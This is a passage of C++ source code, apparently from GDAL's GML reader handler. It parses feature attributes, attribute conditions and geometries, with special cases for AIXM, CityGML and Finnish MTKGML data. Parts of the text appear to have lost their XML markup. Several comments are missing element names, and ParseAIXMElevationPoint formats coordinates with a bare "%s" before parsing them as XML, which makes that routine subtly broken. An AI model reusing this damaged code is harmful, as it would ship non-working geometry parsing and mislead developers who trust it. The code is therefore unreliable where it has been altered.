OGRERR_NONE;\n}\n\n/************************************************************************/\n/* startElementCityGMLGenericAttr() */\n/************************************************************************/\n\nOGRErr GMLHandler::startElementCityGMLGenericAttr(const char *pszName,\n CPL_UNUSED int nLenName,\n CPL_UNUSED void* attr )\n{\n if( strcmp(pszName, \"value\") == 0 )\n {\n if(m_pszCurField)\n {\n CPLFree(m_pszCurField);\n m_pszCurField = NULL;\n m_nCurFieldLen = m_nCurFieldAlloc = 0;\n }\n m_bInCurField = TRUE;\n }\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* DealWithAttributes() */\n/************************************************************************/\n\nvoid GMLHandler::DealWithAttributes(const char *pszName, int nLenName, void* attr )\n{\n GMLReadState *poState = m_poReader->GetState();\n GMLFeatureClass *poClass = poState->m_poFeature->GetClass();\n\n for(unsigned int idx=0; TRUE ;idx++)\n {\n char* pszAttrKey = NULL;\n char* pszAttrVal = NULL;\n\n pszAttrVal = GetAttributeByIdx(attr, idx, &pszAttrKey);\n if( pszAttrVal == NULL )\n break;\n\n int nAttrIndex = 0;\n const char* pszAttrKeyNoNS = strchr(pszAttrKey, ':');\n if( pszAttrKeyNoNS != NULL )\n pszAttrKeyNoNS ++;\n\n /* If attribute is referenced by the .gfs */\n if( poClass->IsSchemaLocked() &&\n ( (pszAttrKeyNoNS != NULL &&\n (nAttrIndex =\n m_poReader->GetAttributeElementIndex( pszName, nLenName, pszAttrKeyNoNS )) != -1) ||\n ((nAttrIndex =\n m_poReader->GetAttributeElementIndex( pszName, nLenName, pszAttrKey )) != -1 ) ) )\n {\n nAttrIndex = FindRealPropertyByCheckingConditions( nAttrIndex, attr );\n if( nAttrIndex >= 0 )\n {\n m_poReader->SetFeaturePropertyDirectly( NULL, pszAttrVal, nAttrIndex );\n pszAttrVal = NULL;\n }\n }\n\n /* Hard-coded historic cases */\n else if( strcmp(pszAttrKey, \"xlink:href\") == 0 )\n {\n if( (m_bReportHref || m_poReader->ReportAllAttributes()) && m_bInCurField )\n {\n CPLFree(m_pszHref);\n m_pszHref = pszAttrVal;\n pszAttrVal = NULL;\n }\n else if( (!poClass->IsSchemaLocked() && (m_bReportHref || m_poReader->ReportAllAttributes())) ||\n (poClass->IsSchemaLocked() && (nAttrIndex =\n m_poReader->GetAttributeElementIndex( CPLSPrintf(\"%s_href\", pszName ),\n nLenName + 5 )) != -1) )\n {\n poState->PushPath( pszName, nLenName );\n CPLString osPropNameHref = poState->osPath + \"_href\";\n poState->PopPath();\n m_poReader->SetFeaturePropertyDirectly( osPropNameHref, pszAttrVal, nAttrIndex );\n pszAttrVal = NULL;\n }\n }\n else if( strcmp(pszAttrKey, \"uom\") == 0 )\n {\n CPLFree(m_pszUom);\n m_pszUom = pszAttrVal;\n pszAttrVal = NULL;\n }\n else if( strcmp(pszAttrKey, \"value\") == 0 )\n {\n CPLFree(m_pszValue);\n m_pszValue = pszAttrVal;\n pszAttrVal = NULL;\n }\n else /* Get language in 'kieli' attribute of 'teksti' element */\n if( eAppSchemaType == APPSCHEMA_MTKGML &&\n nLenName == 6 && strcmp(pszName, \"teksti\") == 0 &&\n strcmp(pszAttrKey, \"kieli\") == 0 )\n {\n CPLFree(m_pszKieli);\n m_pszKieli = pszAttrVal;\n pszAttrVal = NULL;\n }\n\n /* Should we report all attributes ? */\n else if( m_poReader->ReportAllAttributes() && !poClass->IsSchemaLocked() )\n {\n poState->PushPath( pszName, nLenName );\n CPLString osPropName = poState->osPath;\n poState->PopPath();\n\n m_poReader->SetFeaturePropertyDirectly(\n CPLSPrintf(\"%s@%s\", osPropName.c_str(), pszAttrKeyNoNS ? pszAttrKeyNoNS : pszAttrKey),\n pszAttrVal, -1 );\n pszAttrVal = NULL;\n }\n\n CPLFree(pszAttrKey);\n CPLFree(pszAttrVal);\n }\n\n#if 0\n if( poClass->IsSchemaLocked() )\n {\n poState->PushPath( pszName, nLenName );\n CPLString osPath = poState->osPath;\n poState->PopPath();\n /* Find fields that match an attribute that is missing */\n for(int i=0; i < poClass->GetPropertyCount(); i++ )\n {\n GMLPropertyDefn* poProp = poClass->GetProperty(i);\n const char* pszSrcElement = poProp->GetSrcElement();\n if( poProp->GetType() == OFTStringList &&\n poProp->GetSrcElementLen() > osPath.size() &&\n strncmp(pszSrcElement, osPath, osPath.size()) == 0 &&\n pszSrcElement[osPath.size()] == '@' )\n {\n char* pszAttrVal = GetAttributeValue(attr, pszSrcElement + osPath.size() + 1);\n if( pszAttrVal == NULL )\n {\n const char* pszCond = poProp->GetCondition();\n if( pszCond == NULL || IsConditionMatched(pszCond, attr) )\n {\n m_poReader->SetFeaturePropertyDirectly( NULL, CPLStrdup(\"\"), i );\n }\n }\n else\n CPLFree(pszAttrVal);\n }\n }\n }\n#endif\n}\n\n/************************************************************************/\n/* IsConditionMatched() */\n/************************************************************************/\n\n/* FIXME! 'and' / 'or' operators are evaluated left to right, without */\n/* and precedence rules between them ! */\n\nint GMLHandler::IsConditionMatched(const char* pszCondition, void* attr)\n{\n if( pszCondition == NULL )\n return TRUE;\n\n int bSyntaxError = FALSE;\n CPLString osCondAttr, osCondVal;\n const char* pszIter = pszCondition;\n int bOpEqual = TRUE;\n while( *pszIter == ' ' )\n pszIter ++;\n if( *pszIter != '@' )\n bSyntaxError = TRUE;\n else\n {\n pszIter++;\n while( *pszIter != '\\0' &&\n *pszIter != ' ' &&\n *pszIter != '!' &&\n *pszIter != '=' )\n {\n osCondAttr += *pszIter;\n pszIter++;\n }\n while( *pszIter == ' ' )\n pszIter ++;\n\n if( *pszIter == '!' )\n {\n bOpEqual = FALSE;\n pszIter ++;\n }\n\n if( *pszIter != '=' )\n bSyntaxError = TRUE;\n else\n {\n pszIter ++;\n while( *pszIter == ' ' )\n pszIter ++;\n if( *pszIter != '\\'' )\n bSyntaxError = TRUE;\n else\n {\n pszIter ++;\n while( *pszIter != '\\0' &&\n *pszIter != '\\'' )\n {\n osCondVal += *pszIter;\n pszIter++;\n }\n if( *pszIter != '\\'' )\n bSyntaxError = TRUE;\n else\n {\n pszIter ++;\n while( *pszIter == ' ' )\n pszIter ++;\n }\n }\n }\n }\n\n if( bSyntaxError )\n {\n CPLError(CE_Failure, CPLE_NotSupported,\n \"Invalid condition : %s. Must be of the form @attrname[!]='attrvalue' [and|or other_cond]*. 'and' and 'or' operators cannot be mixed\",\n pszCondition);\n return FALSE;\n }\n\n char* pszVal = GetAttributeValue(attr, osCondAttr);\n if( pszVal == NULL )\n pszVal = CPLStrdup(\"\");\n int bCondMet = ((bOpEqual && strcmp(pszVal, osCondVal) == 0 ) ||\n (!bOpEqual && strcmp(pszVal, osCondVal) != 0 ));\n CPLFree(pszVal);\n if( *pszIter == '\\0' )\n return bCondMet;\n\n if( strncmp(pszIter, \"and\", 3) == 0 )\n {\n pszIter += 3;\n if( !bCondMet )\n return FALSE;\n return IsConditionMatched(pszIter, attr);\n }\n\n if( strncmp(pszIter, \"or\", 2) == 0 )\n {\n pszIter += 2;\n if( bCondMet )\n return TRUE;\n return IsConditionMatched(pszIter, attr);\n }\n\n CPLError(CE_Failure, CPLE_NotSupported,\n \"Invalid condition : %s. Must be of the form @attrname[!]='attrvalue' [and|or other_cond]*. 'and' and 'or' operators cannot be mixed\",\n pszCondition);\n return FALSE;\n}\n\n/************************************************************************/\n/* FindRealPropertyByCheckingConditions() */\n/************************************************************************/\n\nint GMLHandler::FindRealPropertyByCheckingConditions(int nIdx, void* attr)\n{\n GMLReadState *poState = m_poReader->GetState();\n GMLFeatureClass *poClass = poState->m_poFeature->GetClass();\n\n GMLPropertyDefn* poProp = poClass->GetProperty(nIdx);\n const char* pszCond = poProp->GetCondition();\n if( pszCond != NULL && !IsConditionMatched(pszCond, attr) )\n {\n /* try other attributes with same source element, but with different */\n /* condition */\n const char* pszSrcElement = poProp->GetSrcElement();\n nIdx = -1;\n for(int i=m_nAttributeIndex+1; i < poClass->GetPropertyCount(); i++ )\n {\n poProp = poClass->GetProperty(i);\n if( strcmp(poProp->GetSrcElement(), pszSrcElement) == 0 )\n {\n pszCond = poProp->GetCondition();\n if( IsConditionMatched(pszCond, attr) )\n {\n nIdx = i;\n break;\n }\n }\n }\n }\n return nIdx;\n}\n\n/************************************************************************/\n/* startElementFeatureAttribute() */\n/************************************************************************/\n\nOGRErr GMLHandler::startElementFeatureAttribute(const char *pszName, int nLenName, void* attr )\n{\n /* Reset flag */\n m_bInCurField = FALSE;\n\n GMLReadState *poState = m_poReader->GetState();\n\n/* -------------------------------------------------------------------- */\n/* If we are collecting geometry, or if we determine this is a */\n/* geometry element then append to the geometry info. */\n/* -------------------------------------------------------------------- */\n if( IsGeometryElement( pszName ) )\n {\n int bReadGeometry;\n\n /* If the is defined in the .gfs, use it */\n /* to read the appropriate geometry element */\n GMLFeatureClass* poClass = poState->m_poFeature->GetClass();\n m_nGeometryPropertyIndex = 0;\n if( poClass->IsSchemaLocked() &&\n poClass->GetGeometryPropertyCount() == 0 )\n {\n bReadGeometry = FALSE;\n }\n else if( poClass->IsSchemaLocked() &&\n poClass->GetGeometryPropertyCount() == 1 &&\n poClass->GetGeometryProperty(0)->GetSrcElement()[0] == '\\0' )\n {\n bReadGeometry = TRUE;\n }\n else if( poClass->IsSchemaLocked() &&\n poClass->GetGeometryPropertyCount() > 0 )\n {\n m_nGeometryPropertyIndex = poClass->GetGeometryPropertyIndexBySrcElement( poState->osPath.c_str() );\n bReadGeometry = (m_nGeometryPropertyIndex >= 0);\n }\n else if( m_poReader->FetchAllGeometries() )\n {\n bReadGeometry = TRUE;\n }\n else if( !poClass->IsSchemaLocked() && m_poReader->IsWFSJointLayer() )\n {\n m_nGeometryPropertyIndex = poClass->GetGeometryPropertyIndexBySrcElement( poState->osPath.c_str() );\n if( m_nGeometryPropertyIndex < 0 )\n {\n const char* pszElement = poState->osPath.c_str();\n CPLString osFieldName;\n /* Strip member| prefix. Should always be true normally */\n if( strncmp(pszElement, \"member|\", strlen(\"member|\")) == 0 )\n osFieldName = pszElement + strlen(\"member|\");\n\n /* Replace layer|property by layer_property */\n size_t iPos = osFieldName.find('|');\n if( iPos != std::string::npos )\n osFieldName[iPos] = '.';\n\n poClass->AddGeometryProperty( new GMLGeometryPropertyDefn(\n osFieldName, poState->osPath.c_str(), wkbUnknown, -1, TRUE ) );\n m_nGeometryPropertyIndex = poClass->GetGeometryPropertyCount();\n }\n bReadGeometry = TRUE;\n }\n else\n {\n /* AIXM special case: for RouteSegment, we only want to read Curve geometries */\n /* not 'start' and 'end' geometries */\n if (eAppSchemaType == APPSCHEMA_AIXM &&\n strcmp(poState->m_poFeature->GetClass()->GetName(), \"RouteSegment\") == 0)\n bReadGeometry = strcmp( pszName, \"Curve\") == 0;\n\n /* For Inspire objects : the \"main\" geometry is in a element */\n else if (m_bAlreadyFoundGeometry)\n bReadGeometry = FALSE;\n else if (strcmp( poState->osPath.c_str(), \"geometry\") == 0)\n {\n m_bAlreadyFoundGeometry = TRUE;\n bReadGeometry = TRUE;\n }\n\n else\n bReadGeometry = TRUE;\n }\n if (bReadGeometry)\n {\n m_nGeometryDepth = m_nDepth;\n\n CPLAssert(apsXMLNode.size() == 0);\n\n NodeLastChild sNodeLastChild;\n sNodeLastChild.psNode = NULL;\n sNodeLastChild.psLastChild = NULL;\n apsXMLNode.push_back(sNodeLastChild);\n\n PUSH_STATE(STATE_GEOMETRY);\n\n return startElementGeometry(pszName, nLenName, attr);\n }\n }\n\n\n else if( nLenName == 9 && strcmp(pszName, \"boundedBy\") == 0 )\n {\n m_inBoundedByDepth = m_nDepth;\n\n PUSH_STATE(STATE_BOUNDED_BY);\n\n return OGRERR_NONE;\n }\n\n/* -------------------------------------------------------------------- */\n/* Is it a CityGML generic attribute ? */\n/* -------------------------------------------------------------------- */\n else if( eAppSchemaType == APPSCHEMA_CITYGML &&\n m_poReader->IsCityGMLGenericAttributeElement( pszName, attr ) )\n {\n CPLFree(m_pszCityGMLGenericAttrName);\n m_pszCityGMLGenericAttrName = GetAttributeValue(attr, \"name\");\n m_inCityGMLGenericAttrDepth = m_nDepth;\n\n PUSH_STATE(STATE_CITYGML_ATTRIBUTE);\n\n return OGRERR_NONE;\n }\n \n else if( m_poReader->IsWFSJointLayer() && m_nDepth == m_nDepthFeature + 1 )\n {\n }\n\n else if( m_poReader->IsWFSJointLayer() && m_nDepth == m_nDepthFeature + 2 )\n {\n const char* pszFID = GetFID(attr);\n if( pszFID )\n {\n poState->PushPath( pszName, nLenName );\n CPLString osPropPath= poState->osPath + \"@id\";\n poState->PopPath();\n m_poReader->SetFeaturePropertyDirectly( osPropPath, CPLStrdup(pszFID), -1 );\n }\n }\n\n/* -------------------------------------------------------------------- */\n/* If it is (or at least potentially is) a simple attribute, */\n/* then start collecting it. */\n/* -------------------------------------------------------------------- */\n else if( (m_nAttributeIndex =\n m_poReader->GetAttributeElementIndex( pszName, nLenName )) != -1 )\n {\n GMLFeatureClass *poClass = poState->m_poFeature->GetClass();\n if( poClass->IsSchemaLocked() &&\n (poClass->GetProperty(m_nAttributeIndex)->GetType() == GMLPT_FeatureProperty ||\n poClass->GetProperty(m_nAttributeIndex)->GetType() == GMLPT_FeaturePropertyList) )\n {\n m_nAttributeDepth = m_nDepth;\n PUSH_STATE(STATE_FEATUREPROPERTY);\n }\n else\n {\n /* Is this a property with a condition on an attribute value ? */\n if( poClass->IsSchemaLocked() )\n {\n m_nAttributeIndex = FindRealPropertyByCheckingConditions( m_nAttributeIndex, attr );\n }\n\n if( m_nAttributeIndex >= 0 )\n {\n if(m_pszCurField)\n {\n CPLFree(m_pszCurField);\n m_pszCurField = NULL;\n m_nCurFieldLen = m_nCurFieldAlloc = 0;\n }\n m_bInCurField = TRUE;\n\n DealWithAttributes(pszName, nLenName, attr);\n\n if (stateStack[nStackDepth] != STATE_PROPERTY)\n {\n m_nAttributeDepth = m_nDepth;\n PUSH_STATE(STATE_PROPERTY);\n }\n }\n /*else\n {\n DealWithAttributes(pszName, nLenName, attr);\n }*/\n }\n\n }\n else\n {\n DealWithAttributes(pszName, nLenName, attr);\n }\n\n poState->PushPath( pszName, nLenName );\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* startElementTop() */\n/************************************************************************/\n\nOGRErr GMLHandler::startElementTop(const char *pszName,\n CPL_UNUSED int nLenName,\n void* attr )\n{\n if (strcmp(pszName, \"CityModel\") == 0 )\n {\n eAppSchemaType = APPSCHEMA_CITYGML;\n }\n else if (strcmp(pszName, \"AIXMBasicMessage\") == 0)\n {\n eAppSchemaType = APPSCHEMA_AIXM;\n m_bReportHref = TRUE;\n }\n else if (strcmp(pszName, \"Maastotiedot\") == 0)\n {\n eAppSchemaType = APPSCHEMA_MTKGML;\n\n char *pszSRSName = GetAttributeValue(attr, \"srsName\");\n m_poReader->SetGlobalSRSName(pszSRSName);\n CPLFree(pszSRSName);\n\n m_bReportHref = TRUE;\n\n /* the schemas of MTKGML don't have (string) width, so don't set it */\n m_poReader->SetWidthFlag(FALSE);\n }\n\n stateStack[0] = STATE_DEFAULT;\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* startElementDefault() */\n/************************************************************************/\n\nOGRErr GMLHandler::startElementDefault(const char *pszName, int nLenName, void* attr )\n\n{\n/* -------------------------------------------------------------------- */\n/* Is it a feature? If so push a whole new state, and return. */\n/* -------------------------------------------------------------------- */\n int nClassIndex;\n const char* pszFilteredClassName;\n\n if( nLenName == 9 && strcmp(pszName, \"boundedBy\") == 0 )\n {\n m_inBoundedByDepth = m_nDepth;\n\n PUSH_STATE(STATE_BOUNDED_BY);\n\n return OGRERR_NONE;\n }\n\n else if( m_poReader->ShouldLookForClassAtAnyLevel() &&\n ( pszFilteredClassName = m_poReader->GetFilteredClassName() ) != NULL )\n {\n if( strcmp(pszName, pszFilteredClassName) == 0 )\n {\n m_poReader->PushFeature( pszName, GetFID(attr), m_poReader->GetFilteredClassIndex() );\n\n m_nDepthFeature = m_nDepth;\n\n PUSH_STATE(STATE_FEATURE);\n\n return OGRERR_NONE;\n }\n }\n\n /* WFS 2.0 GetFeature documents have a wfs:FeatureCollection */\n /* as a wfs:member of the top wfs:FeatureCollection. We don't want this */\n /* wfs:FeatureCollection to be recognized as a feature */\n else if( (!(nLenName == strlen(\"FeatureCollection\") &&\n strcmp(pszName, \"FeatureCollection\") == 0)) &&\n (nClassIndex = m_poReader->GetFeatureElementIndex( pszName, nLenName, eAppSchemaType )) != -1 )\n {\n m_bAlreadyFoundGeometry = FALSE;\n\n pszFilteredClassName = m_poReader->GetFilteredClassName();\n if ( pszFilteredClassName != NULL &&\n strcmp(pszName, pszFilteredClassName) != 0 )\n {\n m_nDepthFeature = m_nDepth;\n\n PUSH_STATE(STATE_IGNORED_FEATURE);\n\n return OGRERR_NONE;\n }\n else\n {\n if( eAppSchemaType == APPSCHEMA_MTKGML )\n {\n m_poReader->PushFeature( pszName, NULL, nClassIndex );\n\n char* pszGID = GetAttributeValue(attr, \"gid\");\n if( pszGID )\n m_poReader->SetFeaturePropertyDirectly( \"gid\", pszGID, -1, GMLPT_String );\n }\n else\n m_poReader->PushFeature( pszName, GetFID(attr), nClassIndex );\n\n m_nDepthFeature = m_nDepth;\n\n PUSH_STATE(STATE_FEATURE);\n\n return OGRERR_NONE;\n }\n }\n\n/* -------------------------------------------------------------------- */\n/* Push the element onto the current state's path. */\n/* -------------------------------------------------------------------- */\n m_poReader->GetState()->PushPath( pszName, nLenName );\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* endElementIgnoredFeature() */\n/************************************************************************/\n\nOGRErr GMLHandler::endElementIgnoredFeature()\n\n{\n if (m_nDepth == m_nDepthFeature)\n {\n POP_STATE();\n }\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* endElementBoundedBy() */\n/************************************************************************/\nOGRErr GMLHandler::endElementBoundedBy()\n\n{\n if( m_inBoundedByDepth == m_nDepth)\n {\n POP_STATE();\n }\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* ParseAIXMElevationPoint() */\n/************************************************************************/\n\nCPLXMLNode* GMLHandler::ParseAIXMElevationPoint(CPLXMLNode *psGML)\n{\n const char* pszElevation =\n CPLGetXMLValue( psGML, \"elevation\", NULL );\n if (pszElevation)\n {\n m_poReader->SetFeaturePropertyDirectly( \"elevation\",\n CPLStrdup(pszElevation), -1 );\n const char* pszElevationUnit =\n CPLGetXMLValue( psGML, \"elevation.uom\", NULL );\n if (pszElevationUnit)\n {\n m_poReader->SetFeaturePropertyDirectly( \"elevation_uom\",\n CPLStrdup(pszElevationUnit), -1 );\n }\n }\n\n const char* pszGeoidUndulation =\n CPLGetXMLValue( psGML, \"geoidUndulation\", NULL );\n if (pszGeoidUndulation)\n {\n m_poReader->SetFeaturePropertyDirectly( \"geoidUndulation\",\n CPLStrdup(pszGeoidUndulation), -1 );\n const char* pszGeoidUndulationUnit =\n CPLGetXMLValue( psGML, \"geoidUndulation.uom\", NULL );\n if (pszGeoidUndulationUnit)\n {\n m_poReader->SetFeaturePropertyDirectly( \"geoidUndulation_uom\",\n CPLStrdup(pszGeoidUndulationUnit), -1 );\n }\n }\n\n const char* pszPos =\n CPLGetXMLValue( psGML, \"pos\", NULL );\n const char* pszCoordinates =\n CPLGetXMLValue( psGML, \"coordinates\", NULL );\n if (pszPos != NULL)\n {\n char* pszGeometry = CPLStrdup(CPLSPrintf(\n \"%s\",\n pszPos));\n CPLDestroyXMLNode(psGML);\n psGML = CPLParseXMLString(pszGeometry);\n CPLFree(pszGeometry);\n }\n else if (pszCoordinates != NULL)\n {\n char* pszGeometry = CPLStrdup(CPLSPrintf(\n \"%s\",\n pszCoordinates));\n CPLDestroyXMLNode(psGML);\n psGML = CPLParseXMLString(pszGeometry);\n CPLFree(pszGeometry);\n }\n else\n {\n CPLDestroyXMLNode(psGML);\n psGML = NULL;\n }\n\n return psGML;\n}\n\n/************************************************************************/\n/* endElementGeometry() */\n/************************************************************************/\nOGRErr GMLHandler::endElementGeometry()\n\n{\n if (m_nGeomLen)\n {\n CPLXMLNode* psNode = (CPLXMLNode *) CPLCalloc(sizeof(CPLXMLNode),1);\n psNode->eType = CXT_Text;\n psNode->pszValue = m_pszGeometry;\n\n NodeLastChild& sNodeLastChild = apsXMLNode[apsXMLNode.size()-1];\n CPLXMLNode* psLastChildParent = sNodeLastChild.psLastChild;\n if (psLastChildParent == NULL)\n {\n CPLXMLNode* psParent = sNodeLastChild.psNode;\n if (psParent)\n psParent->psChild = psNode;\n }\n else\n psLastChildParent->psNext = psNode;\n sNodeLastChild.psLastChild = psNode;\n\n m_pszGeometry = NULL;\n m_nGeomAlloc = 0;\n m_nGeomLen = 0;\n }\n\n if( m_nDepth == m_nGeometryDepth )\n {\n CPLXMLNode* psInterestNode = apsXMLNode[apsXMLNode.size()-1].psNode;\n\n /*char* pszXML = CPLSerializeXMLTree(psInterestNode);\n CPLDebug(\"GML\", \"geometry = %s\", pszXML);\n CPLFree(pszXML);*/\n\n apsXMLNode.pop_back();\n\n /* AIXM ElevatedPoint. We want to parse this */\n /* a bit specially because ElevatedPoint is aixm: stuff and */\n /* the srsDimension of the can be set to TRUE although */\n /* they are only 2 coordinates in practice */\n if ( eAppSchemaType == APPSCHEMA_AIXM && psInterestNode != NULL &&\n strcmp(psInterestNode->pszValue, \"ElevatedPoint\") == 0 )\n {\n psInterestNode = ParseAIXMElevationPoint(psInterestNode);\n }\n else if ( eAppSchemaType == APPSCHEMA_MTKGML && psInterestNode != NULL )\n {\n if( strcmp(psInterestNode->pszValue, \"Murtoviiva\") == 0 )\n {\n CPLFree(psInterestNode->pszValue);\n psInterestNode->pszValue = CPLStrdup(\"gml:LineString\");\n }\n else if( strcmp(psInterestNode->pszValue, \"Alue\") == 0 )\n {\n CPLFree(psInterestNode->pszValue);\n psInterestNode->pszValue = CPLStrdup(\"gml:Polygon\");\n }\n else if( strcmp(psInterestNode->pszValue, \"Piste\") == 0 )\n {\n CPLFree(psInterestNode->pszValue);\n psInterestNode->pszValue = CPLStrdup(\"gml:Point\");\n }\n }\n else if( psInterestNode != NULL &&\n strcmp(psInterestNode->pszValue, \"BoundingBox\") == 0 )\n {\n CPLFree(psInterestNode->pszValue);\n psInterestNode->pszValue = CPLStrdup(\"Envelope\");\n for( CPLXMLNode* psChild = psInterestNode->psChild;\n psChild;\n psChild = psChild->psNext )\n {\n if( psChild->eType == CXT_Attribute &&\n strcmp(psChild->pszValue, \"crs\") == 0 )\n {\n CPLFree(psChild->pszValue);\n psChild->pszValue = CPLStrdup(\"srsName\");\n break;\n }\n }\n }\n\n GMLFeature* poGMLFeature = m_poReader->GetState()->m_poFeature;\n if (m_poReader->FetchAllGeometries())\n poGMLFeature->AddGeometry(psInterestNode);\n else\n {\n GMLFeatureClass* poClass = poGMLFeature->GetClass();\n if( poClass->GetGeometryPropertyCount() > 1 )\n {\n poGMLFeature->SetGeometryDirectly(\n m_nGeometryPropertyIndex, psInterestNode);\n }\n else\n {\n poGMLFeature->SetGeometryDirectly(psInterestNode);\n }\n }\n\n POP_STATE();\n }\n\n apsXMLNode.pop_back();\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* endElementCityGMLGenericAttr() */\n/************************************************************************/\nOGRErr GMLHandler::endElementCityGMLGenericAttr()\n\n{\n if( m_pszCityGMLGenericAttrName != NULL && m_bInCurField )\n {\n if( m_pszCurField != NULL )\n {\n m_poReader->SetFeaturePropertyDirectly( m_pszCityGMLGenericAttrName,\n m_pszCurField, -1 );\n }\n m_pszCurField = NULL;\n m_nCurFieldLen = m_nCurFieldAlloc = 0;\n m_bInCurField = FALSE;\n CPLFree(m_pszCityGMLGenericAttrName);\n m_pszCityGMLGenericAttrName = NULL;\n }\n\n if( m_inCityGMLGenericAttrDepth == m_nDepth )\n {\n POP_STATE();\n }\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* endElementAttribute() */\n/************************************************************************/\nOGRErr GMLHandler::endElementAttribute()\n\n{\n GMLReadState *poState = m_poReader->GetState();\n\n if (m_bInCurField)\n {\n if (m_pszCurField == NULL && m_poReader->IsEmptyAsNull())\n {\n if (m_pszValue != NULL)\n {\n m_poReader->SetFeaturePropertyDirectly( poState->osPath.c_str(),\n m_pszValue, -1 );\n m_pszValue = NULL;\n }\n }\n else\n {\n m_poReader->SetFeaturePropertyDirectly( poState->osPath.c_str(),\n m_pszCurField ? m_pszCurField : CPLStrdup(\"\"),\n m_nAttributeIndex );\n m_pszCurField = NULL;\n }\n\n if (m_pszHref != NULL)\n {\n CPLString osPropNameHref = poState->osPath + \"_href\";\n m_poReader->SetFeaturePropertyDirectly( osPropNameHref, m_pszHref, -1 );\n m_pszHref = NULL;\n }\n\n if (m_pszUom != NULL)\n {\n CPLString osPropNameUom = poState->osPath + \"_uom\";\n m_poReader->SetFeaturePropertyDirectly( osPropNameUom, m_pszUom, -1 );\n m_pszUom = NULL;\n }\n\n if (m_pszKieli != NULL)\n {\n CPLString osPropName = poState->osPath + \"_kieli\";\n m_poReader->SetFeaturePropertyDirectly( osPropName, m_pszKieli, -1 );\n m_pszKieli = NULL;\n }\n\n m_nCurFieldLen = m_nCurFieldAlloc = 0;\n m_bInCurField = FALSE;\n m_nAttributeIndex = -1;\n\n CPLFree( m_pszValue );\n m_pszValue = NULL;\n }\n\n poState->PopPath();\n\n if( m_nAttributeDepth == m_nDepth )\n {\n POP_STATE();\n }\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* startElementFeatureProperty() */\n/************************************************************************/\n\nOGRErr GMLHandler::startElementFeatureProperty(CPL_UNUSED const char *pszName,\n CPL_UNUSED int nLenName,\n void* attr )\n{\n if (m_nDepth == m_nAttributeDepth + 1)\n {\n const char* pszGMLId = GetFID(attr);\n if( pszGMLId != NULL )\n {\n m_poReader->SetFeaturePropertyDirectly( NULL,\n CPLStrdup(CPLSPrintf(\"#%s\", pszGMLId)),\n m_nAttributeIndex );\n }\n }\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* endElementFeatureProperty() */\n/************************************************************************/\n\nOGRErr GMLHandler::endElementFeatureProperty()\n\n{\n if (m_nDepth == m_nAttributeDepth)\n {\n GMLReadState *poState = m_poReader->GetState();\n poState->PopPath();\n\n POP_STATE();\n }\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* endElementFeature() */\n/************************************************************************/\nOGRErr GMLHandler::endElementFeature()\n\n{\n/* -------------------------------------------------------------------- */\n/* If we are collecting a feature, and this element tag matches */\n/* element name for the class, then we have finished the */\n/* feature, and we pop the feature read state. */\n/* -------------------------------------------------------------------- */\n if( m_nDepth == m_nDepthFeature )\n {\n m_poReader->PopState();\n\n POP_STATE();\n }\n\n/* -------------------------------------------------------------------- */\n/* Otherwise, we just pop the element off the local read states */\n/* element stack. */\n/* -------------------------------------------------------------------- */\n else\n {\n m_poReader->GetState()->PopPath();\n }\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* endElementDefault() */\n/************************************************************************/\nOGRErr GMLHandler::endElementDefault()\n\n{\n if (m_nDepth > 0)\n m_poReader->GetState()->PopPath();\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* dataHandlerAttribute() */\n/************************************************************************/\n\nOGRErr GMLHandler::dataHandlerAttribute(const char *data, int nLen)\n\n{\n int nIter = 0;\n\n if( m_bInCurField )\n {\n // Ignore white space\n if (m_nCurFieldLen == 0)\n {\n while (nIter < nLen)\n {\n char ch = data[nIter];\n if( !(ch == ' ' || ch == 10 || ch == 13 || ch == '\\t') )\n break;\n nIter ++;\n }\n }\n\n int nCharsLen = nLen - nIter;\n\n if (m_nCurFieldLen + nCharsLen + 1 > m_nCurFieldAlloc)\n {\n m_nCurFieldAlloc = m_nCurFieldAlloc * 4 / 3 + nCharsLen + 1;\n char *pszNewCurField = (char *)\n VSIRealloc( m_pszCurField, m_nCurFieldAlloc );\n if (pszNewCurField == NULL)\n {\n return OGRERR_NOT_ENOUGH_MEMORY;\n }\n m_pszCurField = pszNewCurField;\n }\n memcpy( m_pszCurField + m_nCurFieldLen, data + nIter, nCharsLen);\n m_nCurFieldLen += nCharsLen;\n m_pszCurField[m_nCurFieldLen] = '\\0';\n }\n\n return OGRERR_NONE;\n}\n\n/************************************************************************/\n/* dataHandlerGeometry() */\n/************************************************************************/\n\nOGRErr GMLHandler::dataHandlerGeometry(const char *data, int nLen)\n\n{\n int nIter = 0;\n\n // Ignore white space\n if (m_nGeomLen == 0)\n {\n while (nIter < nLen)\n {\n char ch = data[nIter];\n if( !(ch == ' ' || ch == 10 || ch == 13 || ch == '\\t') )\n break;\n nIter ++;\n }\n }\n\n int nCharsLen = nLen - nIter;\n if (nCharsLen)\n {\n if( m_nGeomLen + nCharsLen + 1 > m_nGeomAlloc )\n {\n m_nGeomAlloc = m_nGeomAlloc * 4 / 3 + nCharsLen + 1;\n char* pszNewGeometry = (char *)\n VSIRealloc( m_pszGeometry, m_nGeomAlloc);\n if (pszNewGeometry == NULL)\n {\n return OGRERR_NOT_ENOUGH_MEMORY;\n }\n m_pszGeometry = pszNewGeometry;\n }\n memcpy( m_pszGeometry+m_nGeomLen, data + nIter, nCharsLen);\n m_nGeomLen += nCharsLen;\n m_pszGeometry[m_nGeomLen] = '\\0';\n }\n\n return OGRERR_NONE;\n}\n\n\n/************************************************************************/\n/* IsGeometryElement() */\n/************************************************************************/\n\nint GMLHandler::IsGeometryElement( const char *pszElement )\n\n{\n int nFirst = 0;\n int nLast = GML_GEOMETRY_TYPE_COUNT- 1;\n unsigned long nHash = CPLHashSetHashStr(pszElement);\n do\n {\n int nMiddle = (nFirst + nLast) / 2;\n if (nHash == pasGeometryNames[nMiddle].nHash)\n return strcmp(pszElement, 